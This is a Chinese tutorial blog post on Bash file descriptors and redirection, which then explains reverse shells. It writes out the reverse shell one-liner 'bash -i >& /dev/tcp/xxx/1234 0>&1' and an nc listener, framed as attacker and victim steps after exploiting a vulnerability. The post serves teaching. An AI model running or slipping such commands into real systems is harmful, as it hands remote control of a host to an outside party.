Bash重定向和反弹Shell相关

BASH重定向

文件描述符

可理解为,文件描述符0为我们与计算机交互时的输入,此输入从键盘而来;文件描述符1为我们与计算机交互时的输出,该输出默认指向显示器;文件描述符2为错误信息输出,默认指向与文件描述符1相同,都为显示器。

文件描述符名称常见缩写默认值
0标准输入(STDIN_FILENO)stdin键盘
1标准输出(STDOUT_FILENO)stdout屏幕(实质为用户终端)
2标准错误输出(STDERR_FILENO)stderr屏幕(实质为用户终端)
3-9由程序自行定义的文件描述符,各个工具特有
一般重定向及特殊符号
序号符号解释
1|管道符,将上一个命令的输出作为下个命令的输入
2tee在不影响原本 I/O 的情况下,将 stdout 复制一份到档案去
3cmd > file命令的输出重定向,cmd的输出保存到file当中,覆盖,使用noclobber选项可以防止覆盖原有文件
4cmd >> file该命令的输出重定向,追加
5cmd < file输入重定向,该命令从file读取参数
6cmd << file从命令行读入,直到换行
7cmd <<< String将字符串(不是文件,且包含换行符)输入到命令当中作为输入
8cmd <> file以读写模式把文件file重定向到输入,文件file不会被破坏
9cmd > | file和>效果相同,且无视noclobber选项防止覆盖的效果

noclobber避免文件重写导致的覆盖,设置后,在重写文件时当文件存在时,详细使用方法

对文件描述符重定向
命令描述
cmd >&n把输出送到文件描述符n
cmd m>&n把输出到文件符m的信息重定向到文件描述符n
cmd >&-关闭标准输出
cmd <&n输入来自文件描述符n
cmd m<&nm来自文件描述符n
cmd <&-关闭标准输入
组合型的重定向

操作的主体是cmd

序号符号解释
1cmd 2>file将文件描述符2重定向到file,标准错误输出到file当中.
2cmd > file 2>&1把标准错误重定向到标准输出,再重定向到file,即stderr和stdout都被输出到file
3cmd &> file同上
4cmd >& file同上
5cmd>file 2>&1同上
6cmd > f1 2>f2把stdout重定向到f1,而把stderr重定向到f2
7tee file1把stdout原样输出的同时,复制一份到files中
8tee file1 file2输出到标准输出两次,同时保存到file1和file2中
92>&1&&表示该Bash在后台执行

注意

  • command %> file当中,我们常用%>来定向输出,%时文件描述符,在默认情况下 >等价于1>
关于重定向需要重点强调的
1.&用于表示该文件所指向的文件或流(&句柄号),而不再是该文件本身

例子:一个是令文件描述符3指向了文件描述符1,另一个是令文件描述符3指向了文件描述符1指向的文件(即显示器)

 exec 3 > 1  
 exec 3 > &1
2.command %> file

重定向操作的主体是command

我们常用%>来定向输出,%时文件描述符,

在默认情况下 %>等价于1>

默认情况下 %<等价于0<

3.cmd 0>1cmd >file 0>&1,文件和句柄

前者是0>1是将标准输入重定向到文件名为1的文件,不存在就创建

后者是将标准输入重定向到标准输出,不存在就创建

重定向符号><左右两侧的为不是流,而是文件或设备

重定向符号>&<&左右两侧表示不同流的句柄,使用&来与文件区别开,1表示一个名为1的文件(不存在则创建),而&1表示该文件对应的标准输出,可对特定的输入输出流或窗口进行操作。

0>&1

默认情况下,可以从键盘将命令输入(即 STDIN 句柄)发送到 Cmd.exe,然后由 Cmd.exe 将命令输出(即 STDOUT 句柄)发送到命令提示符窗口。

4.cmd >/dev/null 2>/dev/null

null文件读取为空,将输出流输出到null,会被自动丢弃。

cmd > /dev/null 2>&1,cmd的两种输出都输出到null。

交互式Bash

开启一个交互式的BASH

bash -i

反弹shell

顾名思义,将一个主机上的shell(命令行)反弹到另一个主机上

采用其他渗透手段,在对方主机(肉鸡)执行反弹Shell的命令,来在目标主机上执行来达到控制对方主机的目的。

使用场景:通过各种漏洞执行该命令,如反序列化、任意命令执行等,通常以各项漏洞的后继步骤出现。

效果:可控制对方Shell执行权限允许的任意命令。

以下为解读:

这条命令在各种漏洞的利用、反弹shell的场合见到。

首先,是 bash -c,c的含义是command,

bash -c "bash -i >& /dev/tcp/xxx/1234 0>&1"

除去最外层( 一般不必使用),继续分析,

bash -i >& /dev/tcp/xxx/1234 0>&1

bash -i创建一个交互式的Bash,

特殊文件/dev/tcp/xxx/1234,用于建立和xxx:1234的Socket(TCP协议)连接。

&>将标准输出和标准错误都重定向到/dev/tcp/xxx/1234中,效果等同>/dev/tcp/xxx/1234 2>&1&>

bash的标准输出重定向到xxx:1234Socket连接的Socket连接上,

0>&1将文件描述符0重定向到文件描述符1,标准输入被重定向到标准输出。

综合解释是,首先&>使得标准输出重定向到了我们的TCP连接上,然后0>&1使得标准输入又重定向到了标准输出中,最终的结果就是标准输入也被重定向到了TCP连接中,因此输入和输出都可以在公网主机上进行,通过TCP连接和bash进行交互。

测试

攻击方

监听端口

nc -lvp 2333

被攻击方

反弹Shell

bash -i >& /dev/tcp/xxx/2333 0>&1

请添加图片描述

此时可以观察到攻击方的Shell已经转变为了对方的Shell

执行ls可以得到响应(此时读取的文件列表为对方主机上的)

请添加图片描述

对比开始和结束时的文件描述符指向,

请添加图片描述

请添加图片描述

可以看到,文件描述符的指向从/dev/pts/0指向了socket(也就是/dev/tcp/xxx/1234的功效)。

/dev/pts/0虚拟终端,打开一个终端,这个终端就叫pts/0,新开的终端以此类推pts/n,也就是说在开始阶段,文件描述符号均指向终端,表现为我们的输入输出均在终端可见且可操控。(使用who命令可以查看在线或在使用的终端。)

Q/A

问题1:

Q:管道和重定向有何区别?

A:管道是把一个程序的输出作为另一个程序的输入,重定向是把输出定向到文件或者标准流。

问题2:

参考链接:

反弹shell原理与实现 - 知乎 (zhihu.com)

cmd命令的重定向输出 2>&1详解

Bash重定向

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值